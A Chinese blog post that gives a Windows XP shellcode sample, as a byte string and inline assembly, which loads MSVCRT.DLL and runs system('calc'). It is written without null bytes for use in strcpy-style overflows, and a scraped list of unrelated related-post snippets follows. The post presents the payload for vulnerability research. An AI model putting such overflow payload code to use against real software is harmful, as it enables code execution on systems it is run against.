shellcode样本—弹出计算器

该样本弹出计算器的原理为：
1）先加载MSVCRT.DLL。
2）再使用system()函数调用calc命令。

该shellcode脚本只在xp下通过实验，仅适合用来研究和验证漏洞。其中的函数地址采用的都是固定地址。win7以上不适用。

该样本特点：没有任何0x00，可以参与字符串类溢出。比如strcpy等。

unsigned char shellcode2[] ="\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x7b\x1d\x80\x7c""\x52\x8D\x45\xF4\x50""\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6C\x63\x89\x45\xF4\x33\xC0\x89\x45\xF8""\x8D\x45\xF4""\x50\xB8""\xc7\x93\xbf\x77""\xFF\xD0";

void Test1()
{__asm{push    ebpmov     ebp, espxor     eax, eaxpush    eaxpush    eaxpush    eaxmov     byte ptr[ebp - 0Ch], 4Dh; 'M'mov     byte ptr[ebp - 0Bh], 53h; 'S'mov     byte ptr[ebp - 0Ah], 56h; 'V'mov     byte ptr[ebp - 9], 43h; 'C'mov     byte ptr[ebp - 8], 52h; 'R'mov     byte ptr[ebp - 7], 54h; 'T'mov     byte ptr[ebp - 6], 2Eh; '.'mov     byte ptr[ebp - 5], 44h; 'D'mov     byte ptr[ebp - 4], 4Ch; 'L'mov     byte ptr[ebp - 3], 4Ch; 'L'mov     edx, 7C801D7Bhpush    edxlea     eax, [ebp - 0Ch]push    eaxcall    dword ptr[ebp - 10h]push    ebpmov     ebp, espsub     esp, 2Chmov     eax, 636C6163hmov[ebp - 0Ch], eaxxor     eax, eaxmov[ebp - 8], eaxlea     eax, [ebp - 0Ch]push    eaxmov     eax, 77BF93C7hcall    eax}
}

shellcode样本—弹出计算器相关推荐

c和汇编混合编程----shellcode----弹出计算器
先用c和汇编混合编程成功弹出计算器(在VC++里运行) #include "stdio.h" #include "windows.h"int main(int ...
用计算机弹出音乐谱,计算器弹歌曲谱子
[www.gywlwh.com--百科大全] 计算器也能够弹奏出美妙动听的音乐,那么今天给大家分享一下关于计算器弹奏简谱音乐有哪些,本站今天为大家精心准备了计算器弹歌曲谱子,希望对大家有所帮助! 计算 ...
用计算机弹出美妙的歌,计算器弹音乐大家给点流行歌乐谱吧，谢谢大家
以歌曲千本樱为例,方法如下所示:工具:计算器1.千本樱第一部分:222,221,221,24,221,221,2456,562121,562121,562121,568-+-986,如下图所示.2.千 ...
用计算机弹出歌的数字,计算器弹歌曲谱子
[www.wzktys.com--生活文摘] 计算器也能够弹奏出美妙动听的音乐,那么今天给大家分享一下关于计算器弹奏简谱音乐有哪些,天涯招考网今天为大家精心准备了计算器弹歌曲谱子,希望对大家有所帮助! ...
【JavaScript练习】用户输入任意两个数字的任意算数运算（简单的计算器小功能）并弹出运算后的结果。
[JavaScript练习]用户输入任意两个数字的任意算数运算(简单的计算器小功能)并弹出运算后的结果. <!DOCTYPE html> <html lang="en&qu ...
java fx alert_javaFx：使用弹出对话框 Alert
javaFx8 自带的对话框非常好用,类似的使用方式如下: /** * 弹出一个通用的确定对话框 * @param p_header 对话框的信息标题 * @param p_message 对话框的信 ...
[js]uploadify结合jqueryUI弹出框上传，js中的冒出的bug，又被ie坑了
引言最近在一个项目中,在用户列表中需要对给没有签名样本的个别用户上传签名的样本,就想到博客园中上传图片使用弹出框方式,博客园具体怎么实现的不知道,只是如果自己来弄,想到两个插件的结合使用,在弹出框中 ...
用Java弹出创建新的消息通知
首先创建JFrame作为弹出窗口. 在其中添加一些JLabel以包含信息,并在适当的位置分配它们,使其看起来像一条通知消息. 下面给出了示例代码: String message = 'You got ...
shellcode---c和汇编混合编程---弹出cmd
首先用C/C++语言实现弹出cmd #include "stdio.h" #include "windows.h"int main(int argc, char ...
android studio 弹出式对话框设置时间_如何设置当单击某个对象时运行指定的应用程序？...
在放映幻灯片的过程中,有时会需要启动其他应用程序,比如计算器或记事本来做一些辅助性的工作.在PowerPoint 2010中能否通过单击某个对象来运行指定的应用程序? 1解决方案为指定对象设置动作效 ...

shellcode样本—弹出计算器

shellcode样本—弹出计算器相关推荐

最新文章

热门文章